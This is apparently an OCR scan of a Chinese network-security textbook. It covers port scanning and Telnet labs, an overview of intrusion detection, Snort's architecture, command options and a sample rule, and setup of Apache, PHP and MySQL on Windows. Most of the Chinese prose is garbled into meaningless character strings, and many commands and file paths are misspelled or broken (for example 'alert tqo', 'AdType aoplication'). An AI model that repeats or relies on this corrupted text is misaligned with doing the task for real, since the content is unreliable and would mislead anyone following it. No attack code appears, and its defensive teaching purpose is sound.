@ BE1E 1 O\ windows\system32\spoolsv. exe 2 = g‘%_ﬂ_’[\@l‘ %E%E‘IEE# _;_J T frois *ICI[P’EEJEEI | RAIHL2E, Iﬁ skl
TDUpdate exe BE: () % g ’
@ B89 : C:\Program Files\T hunder *':R

Network'ThunderMiny TDUpdate exe

E 623 NARBRFEMEZILCNRIZE 624 IPij[a) & )& &

X0 TP A A EOA a8, O AN AR 2% 1 X O T N 28 B9 7 al Dd i R 250K 1
At 9 A2 7 AR 1) 2 4 IR 22 o 85 S BN e o A mT DUES 3] — € A Bl AR S5 R e L IR A

e |52



fZEIEH . R S R T a5 19 R B R X 7 3 L e B O o AT B T K

1P A0 Y5 B 2 o LA LDy i . RO 24 B 0935 » K8 0] A%y 5d B L B 0 0 [m] %) 5 TP
fik X F iz M) 1P, TCP, UDP . ICMP . IGMP Ip i3 75 BR8240 2 [ 3A 5% 78 i X %%
P AL 119 A B 7 =0 6 B Bl W TIC SR SE . AR TP BN 2 e AN 2 . K I Bl K 1 A A
2 NS DN R s T an SR IR s B T TP R IR AT DL B R AL 2 AR, Xn]
VIAS b I F 255G 18 5 15

£ K W By 2k 3 1% BN & A X ICMP FiE IGMP X 1% B 4« 5 96 A 2 5 78 20— i
00 2% Windows 98 R4 & AE H - 1 % Windows 2000 1 Windows XP [ ] P I 5 ¢
R BRI AT LA e 73 9 i 25 s 0t Bl 4 AN R

M Ping fp 2R B2 B AL ZERE L H M H M =0, B e Z 5 k5 A H Ping
R

fE[E P TP bk = s 00 F AR 2 P 21— R B0 P B L i 7 [R]— 4 Jey 380 ) Y
e fr ER 2 —i B T RE.

139 ¥ L2 280 B R 2% A Windows R4t 09 1PC Y il 47 Xy 19 3 11 P A] DA X 38
if X A i 1A%y Y &840 2 AT W W s L, RO A . A RR AT E A 139 v WS Wy, 20 2k #h Ak i
AT AT H ik L AE TCP Wp i i A i v 11 A] IHE M 139 3] 139, 8 47 J7 =X A DL 2 38 17 I e 5%
Al DL 42 A X R 0 AT LA X A4 v 19 TCP B s st A7 #4E . 445 dm H Y B0 #24E 5 it
KA

S PR E BN R L Bl B A AR S 11 50 n] DL A i 8 TP R B A X AN . T
ot B IP AL, A8 TCP 8% UDP Ppis b, 85 A< il s 11352y POz s 11 3132 3 1 0 45 1%
BN B s AT A T DR 3 Bl Y0 K S I RO

B TTAE s A9 &0 4= R0 0], S TP R I35 b e J B9 — TR

e Al 1 R

s SLEHK.

o FfF b S e A Y 2 P R 2 SR A
o [ A 38 B In] e L R e DR T
o ERWORSRE.

6.3 i AP KRG EL 5

S RIE IO
G R AN TR € Y R
PC(Windows XP/Windows 7).1 .
Pt > 2EoR

(1) s S5 10~ B2 2 B K hs SR A RN % .
(2) ZA&Fm B2 By K b O FH 73k
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(3) ALY Fe M A PR AR A
() Ak 1120 4 o

I AT 55

W AR PR LR £ RE -
(1) o B B K i 022 38 I R AT
(2) “p M) il B B2 B K i DR AP R L% 4

5 R8T 815
A Windows XP/Windows 7 £:4/E &2 45 1Y) PC,
iR &I R

(1) B ko HoR Je i B
(2) M2,

U 2 UK

1. BEiim 80 A NIERHE
K NIk Z — ] LS 83w 20 A B K 8 0F 8 sh e i A an i 6. 3. 1 frs

= RET AR
H{EQ) W EI # B0
TR

- RS
FETETEMNMR, EHNPEFHENERIRFED @ PIEERT »

-EHERER
FHBELE , EEE RN ARG E.

D BiRiE 2 BZER

sEsEs SICITICISImme T A I
FHRAEE EORZKENEE TREEE

EIAEA  19.22. 20 BEHIEEA: 2007-05-09
IDINC FREE

K631 WmENABXFRGERA

(1) WUy 5 1 b i Fm 221 A B K e ™ PR B Pl b BV AT S 3
(2) B JPAR 7 Fi e R 7 > g A A s Fe R A K hs T BT S 3
fezn . — MR O & L B B B K AR R GE R sh PR B 35 3

e |54 e



2. BERERH

TE Bl7 KBS TR Y 3 B (A7 F L $E 3l W B RS sl 3 A L B AT S i e ol

PN RTZEHEANME X LM F .

o Wil . RGEAEAF AT A0 LS b B AR R AR kY L A )4 AR

o Y. RGAE SN L BN sV R (H R AR — SRR S 1 g 1T

o S, F G HEEERE Internet. AR W] 57 A7, A5 W] 2 H A1

3. iImAKRERE

TE B7 KA 7 3 S PR o B R AR AR DR A A . B E DR AT
A A O S R SR R, s PR R AE R B R AL ] LA R HAR
ZRHE.

4. E HBEWMEE

1) M4 IR

AP HTERCE R ESARYLGEE TR AL G an, o] DL EGE AL TR P A
AP TRPESE AR > RN T A, 1T IT
TR B R AE s L AL S BT R 1 R 4
B B RN R R 6. 3.2 T e —
R A AL RN R HE . 7 L hE R R B X 5 3
HE 328 P 5 o8 Huhik” i b kb S0 R 5 7R A b hE”
SCACHE iy A RS I S AP IR A TP Mokt . 8 s
“PRAE AL L R RT S R E b ik

2) HARW I E

SN T U oy R AN IR R R | B T S
T LR A PLA 52 V5 AR . B 1 S
LR B T

5. &R R Fr 75 (9] (N 2& i 37 5] AR )

(1) PR E TR &7 a2 FT I 40 & X T E

(2) PEFE A 7 B9 U5 [l B 00" 2 . 3T HFaniE] 6. 3. 3 Jr 78 B9 XF 3G AE .

(3) JoiFaZE (0 R 7 ] R 4%

15 T2 15 91 FAE v e 4 — A 7 FH AR, 40 Telnet ; 2 2 % 500 0007 432 61 L M 4n &) 6. 3. 4
Jr 715 B9 G 8177 0] R0 D00 77 56 5 HE L A RUREC 07 R PR AR R A R A AR EL B AT AR gk
Telnet F2 ¥ 7 0] ¥ 2% .

« TLEHK,

o BfF b e 6 o A Y AP AN 2 SRR
o [ IA I F Y ] A DL KSR R O A
o EARWOGRSRE.

i1y EE

SiAHAE: |0 0 o0 0

B 632 MWMEZHE”FIHFIE



=k ¢ ‘windows'system32\tlntsvr. exe

633 HFHIRE" XMIEE

gmas LA (el =]

= B e
- ¥
-

Telnet
¢ o \windows'\system32htlntsvr. exe

¢ Microsaft Eurparttinn

+ 5.1.2600.2180 (xpsp_spZ_rtm. 040803-2158)

N G

: (BT A AR
[] B EMRP

CEEEE [T LU

634 ‘GRIEIAERIAN" X IEAE

6.4  Pij KEGVEI S 55

e 5 b4

KBl K S B & 50,1 &
B B 7 K B AR &R B,
LR BT K8 #7501 &,
PC(Windows XP/Windows 7).1 &.
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Pt > 2R

(D) s> 2 2B KIS E R A RNE.
(2) FAE K W B K 438 55 22 Fh Bl K 3 i 488 FH 7 i
(3) ARSI T P FNIE AR ERAE L .

(4) Aty ) H 45

FUAT 55

AR SR, R DL T LR

(1) 248 F by K HEGe.

(2) EiRFE WP KM IIEE.

p RIS §i%;

A Windows XP/Windows 7 #:4/E 24 1Y) PC,
AT HNA

Bi7 K F R R B

pRite A

(1) 52 #1055 K W Bl 2K Siet A g B2 7 2K s 42 o) 1) 52 56 Y 28

(2) M\ 6. 1.2 9 iR e 5 =R B Kt 2l B AT 06 € o Sh— b 28 Y 19 B4 By oK s AT 45
(3) W %€ By K et (PR BE THE L E T HE 3 > J7 I AE D P 2o B 4 5 1Y 44

(4) 585 F 5¢ L PF 73 Ar 41 7

e 4k 1 2R

o FfF b S0 T A Y 2 P R A SR A
o [ A 38 B Y In] R L K S DR T
o ERWPOGRESRE.
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CHMA N 2 41| B

WEE TR 1 AR M 4% BB 2%, 152 i 1% 5o By ko had Fr 2% 8 H R B9 A 2 55 5 475
KT ANATTR A= KL 2R GEECAR ISR Ko 0 28 A= A T 2% 46 vl LAk b By 2K Jis 1 A 2
o W) 4% 2 4 5 AL ST B9 AR RS I A SR ORI N 19 B 97 - B, AR RN B2 R JZ 3 20 4R B
W —F ESh 9 B O R R E B AT R M iR . N RGuiztrd B b= A s R 40
Fir Ak B ) 2% b 25080 P A R R S8 2 4 1 DR AR O X8 R R R R 1) Ak B SRR D AR K
) ) AT BCREAE B O A=K R SE . AR RN AR GE PR O B KON 22 ) S I8 B
28 EAEANTZ M W 28 Y5 HE A9 1% D0 & XF W) &5 B A7 R, B2 A3 6 P 3 T A o i T 9 S i

7.1 N gt B

7.1.1 N8N

ARG — o0 A~ 22 B {5 B AT 73

AR A5 — 2B 2 fm BRI A L6 R Ge . M 4%, %08 S F P 7% 3l B IR S AT
A RRIA B9 fE S — ok A LU 4 051 . gt H A H 5 LSO g 3 B8 VR Y
AT TP 1 5 AT o M R A AR AR B

(D R HE. MHRSE HEZRMARBBESRMF, HEXHFPIER 748285
170 BRI R AL B AR RO A5 B X P s sk . AN IE W I sSCAI Ba0 i oy R B E S R
R LA K A B2 A n) H S5

(2) Hk VA RSO . 28 B0 5 b 19 SO 2 428 00 3 AR 22 31 R &0TE SO 07 22
{5 B 1Y SCPE AL L0k SCF 28 0B BB IR Y H A

(3) BIF AT H . M RGE LR P AT — BB fa R R 4 M 45 iRk 55 FH P s 3l Y
B AN . BN ERG EAT IR — B 2 e R R S B R SRR BT A B A AN ]
A PR A BB v, X B4 B 4 1l 25 R R RT3 1) A9 AR e T TR R RN SR A

(D PEIL XA E . 0 NPRIEDL  — 2 R 25 08 F 2% 5 2 1) 53 TR
AR B AT ]

7.1.2 BMFARE S

TS P AR A T £ AR B, 32 3 2, B DLR £50R 5 2 19 D A 2R 45 BRI O 2k 47
e
(1) A7 SWCER S A i 18] - RT3 Sy [#] 7 B[] [6] ol A0 S B ST 4 o By PR AR
oK FH [ 7 Bk [ T B 7 i o A [ 7 8] B ) B T8] B P SCER R 7 B i 2845 8., X 5 R 3
X 22 1 HE ZEOR B AY AR Ge . X AR G819 T8 52 W B0/ 5 (B X R 50 19 R 5, 2 7 o [8] ] B YRS
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R L X 28 AR

>R FH S5 B WSO R 0 B 5 R R LA SE At 410 o) T ok o o 2R e B O3 S B TR O BHL Lk Ty L AR
i B AT D R F G B BRI R T R .

(2) KB 28 . o3 92824 o W o it o A M52 BEPE 20 A

% %4 o Ao 5 TG B JE P RS R G BCE A P AT R U EAT DL B . FEVF 2 AR T
F G A X R 19 BE L X PR s AT L2 R R LA AN R B R . 4 44
M B9 PR T HEMS A BT XS ME WO 5E AR e &l . kD 1 AR S 1 O 8 A0 R Rk JE AN 2 O R
AR 2% 24 3 B e e it o0 A B8 A 3

Gt it A 2R O B o 1 B C RO AT Dy ol o M B H N Y )& TR AR B R A R ST
ik XF g b aE H A G B (R A e 22 . 29 A B A AY BO(E e 7 IE W (LT a2 A ARE (S
T o X ARECR AT LA BUR R By, T HoE B AR i Wy B GT T R iR R B K

5C B o My B O TE AL L SCF IR R B A A A T AR . e B M il ad BORR
T 519 o) 5 12 R 5 T AL AR mT LU S B N B 2R AR . 3 0 A mT ARSI 381 AT fn] s SCAF
KA B T TR AN 12844 0 W RNGE T o B ) R S o (EL S 3K A o0 A 179 S A PEAR 22

(3) R Bake AR FH 9 Sz N - A 28 3k T 19 28 1 K I 2% el LA BT X 6 i 2] 9 1] et A Hh I
N o 388 0 32 A VAR IR BT | RSOA ARG 9 A S Al R S o AR PR Ol R L 45 5% AT B 4 T E
BB ARG, T T RIS, K, mT DL o 35 8 QA T HL i 3R 15 51 2 9 (5
B N R ER IR % . VP2 5L RGE I fo V8 B 01 e £ — Fh PR AL, 2 T A 1 ] 280 5 B b 2%
2 s .

(4) B BEAIZE % . FH P R RGN 3R eI o AR s AN W 1) — 28 BRIE Bl i i€ . S5 PR |
B P AR 52 AT ] A0 PO 266 B 5, DRI, it 00 ok R R G b AT BC . bedn, vl LU & &R ¢
R 45 ik 22 2k H A . RS T ML KL I 2R g ad $8 A b 9 T P B, 16 P 1 B 2
e lan R AR M LL {5 B .

7.1.3 Snort & 9T

Snort s Martin Roesch 5 AJF &1 — R ] C 155 % S 09 065 9 AR I &R 52
Martin Roesch f Snort i h — PR ERN . BV & LFFZRIERGE AR R 5.
BEA SR EE R o A A TP e A B A A P iU RE 1. B B B RRAE . BE WS AT P Sy
Hr A N 2 A48 2/ VL BC . & BENE AN AN [R) A0 B0 A Dy o 2 2 o DX o O 11 49148 DoS Bty
A5 I HEAT SCR R . Snort W ZEBEAE MR | — & N0 X EEAS 2% R T AR

Snort 3 NFRGEM M. BIEE @M RN B ESHERS. £ Snort
B B 4% RS 2 4 g % Snort FEATEC E . EEALRE . 1% B 4% AR & i E
Ab PR 75 (preprocessors) « B0 B & A 4 . B0 S P 68 FH AR 00 42 . 7 A= R i F2 vp ok T A
I D 8 ARG 3 I DA R A i R IR

Snort 4 3 B TAERL : MLARES JEUE ALIC SR AR I 28 A kil R 48 . MRAR 28 AL =AY
S DI 285 - 332 ORI A0 01 A SR i 2 AN Wi dth T 08 /s 7E oo b o BOHE 1] sk A A U R Al 4 i]
SEEIE S . Mg AR KA 2 e B 2%, i o2 nT BCE Y. nl Uik Snort 43 8T I 45 %K
i AL VA UC BE 7 58 SO — S8 00, I AR 405 A6 i 25 2R R B — 7€ 1 3l 7
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7.1.3.1 XHEFFAE

AR Snort £ — PR EH N AR RS . HEENDIREAN R i K, A S .

1. BEatk

Snort A] PJ 7 #F Linux. Solaris. UNIX #ll Windows FR % 25 & . 1 K 2 205 HH AAZ K
AR A R RE SR — IR A E R GE, B 2T EHRE R IER S

2. ThEESE

Snort B A SE B L & 0 A 19 BE 77 BE 08 PRI b W I X 2% 0ok, O fig S s & o B A . T
ML A AN 2 VL e i 77 =8, 3248 7 X TCP . UDPICMP S5 P i 32 5 . X 2% i X s H
Fe e i 149148 L CGT 4348 . SMB £R I FHEAE 22 Gt 45 BURAE 47148 5 Y 4R o] UK

3. ERBEEFRREN

Snort J5 8 5 H 53R 48 e 208 FH 25 Bh A 8 A B A 55 By A3 A g e A E . S A 3
F B T XA AR B A AL, B AL R R R VKR N R BE S B A T S B s |
S R S aE N PRA IR sk i R G B 97 T g, an i TCP B 4di 1, vT AX} TCP & k17
H2 .

iy e A D) S R R A I 3 Y 4R E LA 2 R O 2 g, o o A R DL R
MySQL . SQL Z584E v, a8 m] DL DL XML A% =X i, o o] DL I 2% £ 48 P& 77 51 TCPDump
A ) SO e B A AR P B R AT DL C R EF . B Ok AP HCE 1 X
IF AT AE e Rz AT Snort BA AR & 4509 vl 37 8 4 1 R 3% 1

4. Snort H 0 iR & £

Snort F AU A I AL T 43 ) B RN 5 T, (8 A5 AT Lk GEO0 B i AR AT O A O
R IM LG RIS E W L 2wl o [FE iz s S L JL-F 5 http:// www. cert. org (i 2 M i H?
O 0BT 4 R0 R 25 2 4 Fo 440 LA K e 31 114 &2 A ) [R) 25 %) 80 0] )22 585« TR 8 2 Z Ik i A
12K I KA B i FH Snort IO RLN ., B 7. 1.1 78 T Snort WY & 4t 20 1% A1 48 4b
TR .

RHE B IR R B
Libpcap/Winpcap

'

AN R

Decoder

'

AL FE &3

Preprocessor

'

il 5 | % o

Detection Engine |

'
ki A F
Output plug

WL E NN

B 711 QotREFEREEE
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1) 254 A0 4 3R )%
BT O 285 10 A A= K I 28 G0 s 4 AR T 03 By I A A% B 31 0 45 I A0 I 2% A5 L X et s
AL AR TR . Snort 38 12 PRI R S B AL 2R, H— 2R IR T B O TR e R L H T
] Libpcap/Winpcap R %% M - 4 2% 0 28 B4 .«
BCAE G A AR eRBUZE JE — A ST A BE T BE L N R AR O L . i R B O
Berkeley K2¢ Lawrence Berkeley National Laboratory #/F 5% b 7 %& . Libpcap Z f5 it & 3 T
n] #AE R AE R 40 4% 11 (Portable Operating System Interface of UNIX, POSIX) i #:4/E & 4t .
g Linux, UNIX 5. J5 2k 0 SO 5 85 °F 6 f5 1. XJF & T Windows hit A Chttp: //www.
winpcap. org) , Windows F Fll Linux 1 eRECE H JL-F 5 A1 [A] . Snort 54218 i 17 FH1Z JE pR
AONEE S &= M R &R
2) BRI B A At s
B G i A i 5 ZE O R 25 B P USORR b i B B R AT A AT L A B DA B AE g K 1 |
PEAT LT AC . fif 05 4% 05 47 76 45 P p kR 2 b IS 65 0% 2 B A% )2 o e 3B 02 2 A
A 25T IR 285 v 118 2RS0T AT T RE AR PR A el PR B A e 1 R R R RS A RGP — A E . H
Bl » Snort @RS &% 7 7 P il A 55 Ethernet .SLIP 1 PPP &,
3) Ak B4k
S SIS M P2 54 9 0 0 95 B L0 5 24 b A Bt B o
(AL FR AR . R T ROBCUE A% i B o (MT U FIR il B2 I 26 ZE 3R 45 ] f81 , % b 78 2 %0 B30 0
fror AR H R G B G A S R R R Gk BRI Tk i B A DA A — AN A T
o7 PR Y B0 B 0w B A /N BE B b, O A AT RE T T BLACHE B A S I o 2 iR i B H
bR EHL. BRI X S 8 B0 0 1) A PR 2 A (R R T 2R 45 1) B B Y 4
AL P g 3= A5 DLT DI RE
« B TCP/IP HEAR D RE W4 {7, an TP % - J 2l At TCP g 5 41 476 14
o KPR R HTTP #6946 4 . Unicode f# it i 14 . RPC i 15 4 144 Fil Telnet
fife A 4 1 55

o RL DU DT C I 5 S A 0 A I EsE B A8 46 4 o 0 4 S 1 43 48 4 L Spade S AR K
46 7 Bo K A4 17 A1 AR J5 3k 4G 0] 4 47 55 o AR B 2% 10 Ak 3L 17F SCA7F 44 mT R I A
{5 1 RE A H HE Y

4) Ko | %

B0 5 38 2 AR K I 2R 48 (1 A% 0 TN 25 Snort T — A4S 4k 45 Fe 77248 & 19 46 I 8 0], o
— YEPR ORI Sk o S —GEPR O B S 30T, R Sk v A S — 28 % 3 R i R D 32
OO Y — 28 A2 RFTE . Snort PABC B SO 2 OB D) TR 9 67 6 o 5 DRI ) S A 152 BORE
W), Ffig 3 4t =,

Snort FY K I 5 2 4 B0 D0 BE 2 F1 ) 28 254k DL O Y 2 7 . — B DT BC sl 2y D) 8 4G ) 2% 2R
g o0 B AR AR . O T 3R S ARSI G Rl R R IR/ B Y TP ik A O AE R CAE B
D Sk 5 2 v o T — 2 AR5 178 ARG TN s 2 ke 7 R ) 2 e R v, R U D A 48R 3 E 1Y 7
ot W ol v I B G e N2 = vl < O o2 = Vi ) S (vl I 5 | L SR R i S/U 1L 5 3
2x i & AR N iR AE . Snort BYRL I AL HE R % . H P Al LUR ¥ A C i 75 ZE 1R 77 08 3 A5 R
D)5 2 v % o B o A R DN S e i 0 DE i SR R 2 L DL il R — Z2 i CIL il Rk
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(AC-BM) , 2K FH 2 4 3 Fi 2 L DC B SRR A0 2 O 1 4 i 55 0 28 00 4 60 ) DG G 3k 15, DA 42
ey AT AL T 3 B

5. HEMBEFZRS

H S HHRE 7 R 4t nl LIAEi2 4T Snort B I DA 2 1738 B0 5 AU 17 8 45, R 7 iz
frif4a € 1 a2 AT a0 % T G 7 Snort B S v g g B9 A R o5 A, B el AR
EEHENHEELSE 3L IREZEIL A 6 B, Snort A LLAE R340 DL AR S IS 19 SCAR T R sk
TCPDump 1y — # il /£ =X 3 1792 5% i fe 09 46 X T &R &8 %) 2098 # 17 40 M, mi
TCPDump A% 2 AT LAPRUEAR PR 3h 58 i % 212 S DI BE %:Wnim%%%%mﬂﬁﬁ%,
At A, A ZCE e i A8 17F . Snort o] DLE B 2500 A ZCHE B L 25 85 S 3 10 5008 L 3
PostgreSQL .MySQIL..Oracle V1 }x UNIX ODBC (g J% .

7.1.3.2 FEARRE

1. B3h
Snort 1E R W25 AAZ K 2R 45, 5 FH R 1 9 A 247 0] LLUS 33X FpaE =

Snort —dev -1 lcg —h 192.168.1.0/24 — ¢ Snort.conf

Snort £ X} B0 F1HL ] 4 H3E 17 DT AL . & BE X R 19 A0 5 2 4R 4 F0 00 1) 35 R ORI 19
1738, NS5 € S H 5% - Snort g4 H 3] /var/log/Snort H 3%,
Al PR T B iy a4 2

Snort —1 2 — ¢ Snort.conf

Horp 1 dem h ke £ R, W31 N 2815 B UL A g W 7 =S 1 B AR AE Snort. conf H,

2. i

FEME NIRRT . A 2 M KBS Snort 4 . EBRINE M T, Snort LU
ASCII #& =i 5% H & T full #ZEHLH

Snort A 6 FHRZHLH| . full, fast, socket, syslog. smb (winpopup) #l none, H DL F
AN DIAEa AT RS T H-A BET i E .

-A fast: HCEAE AR — B EE(Gmestamp) (HCE TH A TR/ B 19 TP Hbtik 1 8 11

-A full: J2 B3R BRI

-A unsock: i Snort $HE(E BT UNIX WEEF AT — PR b MR EEan
FEOLAEZEN EA DR EERET L T,

-A none: XM EHLH] .

3. HL &

FLIAE J& Snort By X7 7 1E A 5 B 55 ) 52 — %z'Iﬁl—EE’r‘fﬁ'LE!.,Snort i ot ok U X A
M. Snort {# FH—Fp ] B89 FE B d A s S . XM E S R IE MT9R K. — 2% Snort #i
I AT DA 32 B | 50 R P 0 4 K8 DU Sk (5 22 00 10 P9 285 R0RR 0 25 30 (65 IS I I 289)

FILO Sk A7 25 DT C A AT R a4 CPIMSCSE B YR TP S 1 B a7 1n) L H b 1P Ao 1, 3
VEALFE 3 25 i (Alert) . H 3 (Log) il 17 (Pass) . B Snort XA A8 3 Fhkb B Jr =L, Horp

W S alert SIfE. ESmEH EPTEAREHF L.
FEIR . H iy Hhk 0w H bl DU any SRAC R AT 35 09 Mo kit 500w 348 o] DA A5 5 10K
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FUAHAEZR . TP Huht o] DL 48 2 8 — > CIDR 9 Hbhk B, v 1 0] DL3S 2 — VB L 7
A AR 3t ik 22 18] AT RLBE A AR R <= 7RI —> 7k 58 B U 1)

PO P 328 350 3 S — A B LAS TR I 21 & 5 e T2 8] ™ 5 7 0 B 5 128 101 5C B 5 FINEL 22 (]
fifi FH* 70 B o X R DU S5 T 19 0 B A B T Snort KIS L. EEAT I 4 2
i B A S 2% b i A 1Y 4 I a2 20 L 5 R U0 AR B A 5 Y — L 5 B e T L R DU D Jie 9 Bl 1 e
Xof K 28 15 301 1) ik — 25 B A

e — R A

alert tqo any any —>192.168.1.0/24 111 (content:" |00 01 86 a5|"; meg: "mountd access";)

1200 ) 22 7 Wi 45 119 D) 28 5 i i i ol TCP . Y5 b ki 1005 S 1 SR AT 2248, 77 0] A | 25 [n)
. BRI 28 HhE B F R 192, 168. 1. 0/24, %5 5K 111, 24 & FEGE AL A “00 01 86
aS” N &M, Snort 2 % £ HZ{= B mountd access,

7.2 N2 A Ik il S 45

5o 2% B4

Snort 1 RG.1 &,
PC(Windows XP/Windows 7).1 5.

i >) EoR

(1) Ay 52 5 1~ B2 ) A= R il B R A SN %
(2) ZAZE Snort BB T

(3) SNEIH0 i e ML A A A

C4) A 1~ 4l 2

FYAT S5

WIS AL, FE AR LR 12 47— Snort RGTAYBHE » 1 AR KN 2R 5t 194 AN D EE «
plts? 83

P Windows XP/Windows 7 #:/E& 41 PC —H.

R &G 1A

A ARG )

. EEWHEFUARE/ERFINEE

DLR SR A S0 98 S iy 25 A T RE AT 44

(1) Winpcap: Windows P E5i T (14 25 M 268 08 €0 9K 2l B2 77 . T b ik o huep: //
www, winpcap. org/ .

e |H3 o



(2) Snort: ARKM EFEF, b 240 Windows T &2 A , o] DL H 4% T 280 % %% . I
S 7E Linux B A] L E3Z % 17F 4 0 . Windows B # ] Visual Studio &9 1) 4 iF 4y » 78 L FE
BEE R LA P00 AL B B AR (E . AT DL g vl i, [R) B RS R 2K Snort RN . R 2K 3 hE R
http://www. snort. org/,

(3) Apache: HRGHA T Web 55 245 . F kbt~ hip: //www. apache. org/,

(4) PHP: A HRG#EM T PHP 3 fF, i Apache BEfS iz 47 PHP 2 J¥. T 4 i hik &
http://www. php. net/,

(5) MySQL.: {74t 25 R4 5 FAF R EHE E R SE . T #bhk o http: //www. mysql. com/ .

(6) ACID.; ACID(Analysis Console for Intrusion Databases) J&3& T PHP 1 A2 K |
BRI A 42 5 B RE U8 A0 B R AR AR K I ZR e | B K 8 A5 2 4 T HL 7 AR R i A BN
vl T PHP w2 Ml ACID, T ##ihl & http://acidlab. sourceforge. net/.

(7) Adodb: & PHP &8 E M 1F . T @& H#uht 8 http://adodb. sourceforge. net/ .

(8) Jpgraph: Hy PHP 4% iy 55 T 1 [a] X R 4R 19 P W7 i 422 14 . ACID 38 5 Adodb
[HL Snort 7F MySQL w7 A= 808 B o Br a5 28 BoR ZE W o1 [, FF4d FH] Tpgraph 41 /4 %
AT EE AL R sr . T #tak O http: //www. aditus. nu/jpgraph/.

2. IREREKTR

1) %% Apache IR 55 %%

(1) X+ httpd-2. 2. 17-win32-x86-no_ssl. msi,

(2) 3 Windows 5 1 0 F A2 5% 0 S5 1 B Next F2 4 4k 22, ) B2 AL PR, i
£E R B AL IR e gk 2, B 232 1 W

(3) £ Network Domain XA HE H HLE W 2% $if, 24 . 41 kysf. net, Q1% A MW 455k 24 , 0] D)
fEEIHS . WRZEEN Apache IR 55 #8 ZEA Internet, W — & BLIH S IE 5 1Y M 28 5844 . 7
Server Name Y AHNE P 3 A IR 55 25 24 - 11 www. kysf. net, B FHL 44 . £ Administrator’s
Email Address SCAHE IS R 505 2 00 19 3 MB 7 # 41k » 40 indian@ 163, com, ik 3 7%
{5 B AL =2 Horp g W F M hE 25 75 ZR 40 S 8l IR A OG5 B3R Ik 45 U7 In) % . Apache
e 55 i 2 2% SR ANIRT 7. 2.1 Ffias .

Server Information
Please enter your server's information.

Network Domain (e.q. somenet.com)
pumlmt

Server Name (e.g. www.somenet.com):
Fluml‘tost

Administrator's Email Address (e.g. webmaster @somenet.com):
|793144750@qq. com

Install Apache HTTP Server 2.2 programs and shortouts for:

(") for All Users, on Port 80, as a Service — Recommended.
@ only for the Current User, on Port 8080, when started Manually.

Installshield

<Back || Next> Cancel

& 721 Aeche RERE
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(4) WHINE LI o bR UNR EE A A — ki . 1] LBy Back #2 8% [P K A . i Next
F L F IR %

(5) KM J7 3k . 5 Ve v
v Al 55 CAn S J& Apache2. 2
v 11 80, WU JC 20 #0471 A B

1 8080, 1 F httpd -k install A5 #F Apache 1 & & Windows
Z A RAS &y A apache -k install) , 40K 7. 2. 2 7~ s 2 8 5

:“\Apache2 .2 bin>cd c:\
:wood apache? .2%bin

:\fipache2 .2 \bin>httpd -k install
nstalling the Apache2.2 service

he Apache2.2 service 1is successfully installed.

esting httpd.conf....

rrors reported here must be corrected before the service can be started.

ittpd: Could not reliably determine the server’s fully gualified domain name,. us
ng 192_.168.1.233 for ServerName

:\Apache2 .2 \bhin>

722 8080 uw M4 M 57 E

(6) 1 i FiR773C, 78 DOS 50 W 48 FiztT . ¥ Bon 8 3 iy,

e PR 8 il 22 AR BRI SO Je C:\apache . &3 P 270 1% 309 F A 3h e A4 —
M F3CFJe apache? AR 252 L& %5, WK 7. 2.3 Frzs, TP BE B SCHF C: \apache\ apache2\
conf\httpd. conf (¥ #& p A< A [6] . 7] GE /& C. \apache\ conf\ httpd. conf) , ¥ H [ Listen
8080 H gk & Listen 50080, X & F Windows IIS 111 Web IR % 25205 M F 7 TCP 80
vy 11 W T 3% 422 175 5K L 1 8080 ¥ 1 — i B 25 X 3 ik 55w A5 H, Fir LA R 1 ke %2 Apache Web Jli
5w 1 W Wy v 11 5 HO & A2 w28, 8 Apache Web Al 55 a4 19 W W S 1A 20 S AS 5 FH 19 87 g ding
1 50080, 40522 2% f b 80 g 11 A #k o5 FH DU TG 2046 B3 o 11

&) httpd.conf - i2EX _|o |1|
SFE) WEE B0 WEH)

# Change this to Listen on specific IP addresses as shown below to -]
# prevent Apache from glomming onto all bound I[P addresses (0.0.08.0) i
#

#lListen 12.34.56.76:80
Listen 50080

#
# Dynamic Shared Object (D50) Support

723 AaceEEERE

TR 12477 H A emd, AT . BA T a2

c:\> cd gpache\ apache?\bin
c:\apache\apache?\bin\apache - k install

X & W apache 5 E  Windows H 1 ik 55 77 :0iz 7.
7E 00 % v th A7 U5 [ ) L 48 ] http: //localhost: 50080/ B AT,
2) W Apache X PHP 19 3% F
(1) fi# 48 php-5. 2. 6-Win32. zip & C:\php.,
(2) & | phpots. dll /3] Y systemroot %\ system32.,
(3) B #l php. ini-dist (& 04 44) & Ysystemroot %\ php. inis & php. ini.

extensior=php gd2.dll



extensior= php mysgl.dll

AN 2R php. ini A A] R T ARG T EEREAT L, W 70204 Fiw

—

|iﬁphpwu iosEA
|K¢® REE) BI0) FEE
|;extension=php_domxml.dll =
;extensionzphp_exif dl1

;extension=php_fdf.dll
;extension=php_filepro.dll

=
;extension=php_gettext.dll
|;extension=php_hyperwave.dll
;extension=php_iconv.dll
bd

E 724 RPEESR A
6] 5} %2 ] C.\php\extension F i php_gd2. dll 5 php_mysql. dll & % systemroot %\ .
(D) B gd FIE FE R X FF . 4F C:\apache\ Apache2\conf\ httpd. conf H# Il .
Loadvibdule phpd module "c:\phpdb\ phpSapache?.d11"

FE. Ap{mhe WA AR 2.2 vA L8, &34 442 A LoadModule php5_module "C: \ php5
\phpbSapache2_2.dll",. &M L EET#H B 3.
ft AddType application —17 F m A T i M 47{E B -

AdType aoplication/x- httpd- php .php .phtml .php3 .pghpd
EadType application/x— httgpd- php- source .phps

(5) WG ARFE http. conf X, P IFEE 7306 k£ B 477 AE M 5 1 P&
A emd JEAAA TN R AT B 6%

ret start gpache?

£ Windows H )3 3l Apache Web R5 . WK 7.2.5 Fr7n.

CHWINNT \system32\cmd.exe

Microsoft Windows 2000 [Uersion 5.00.2195]
(C) RRAYPTH 1985-2000 Microsoft Corp.

C:\>net star
Apache2 ?ii' 77f7-ﬂ
Apache2 [k % 2 5 7 Ak D] .

725 MApache BEIFE

it PHP A .
1F C:\apache2\ htdocs H 3 F # & test. php, THHNEW T .

< ?phpinfo();?>

i ] http.//localhost/test. php (8% http.//127.0.0. 1. 50080/test. php) M PHP &
i
) AL E Snort
jf;;;ﬁqfi J¥ i WinPcap_4_0_2. exe, K FHEIN LSRRI A,
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WA — . %% Snort_2_8_1_Installer. exe. >k FHBRIAZ 5 B 0] . Snort 19 BRI % 2566 B 42 &
C:\snort.,

¥ snortrules-snapshot-CURRENT H# FWI A 42 & (£i%) 3 C: \snort H
STl

FH A4 R 45 f1 9 11 snort. conf 78 3% C.\snort\etc\snort. conf,
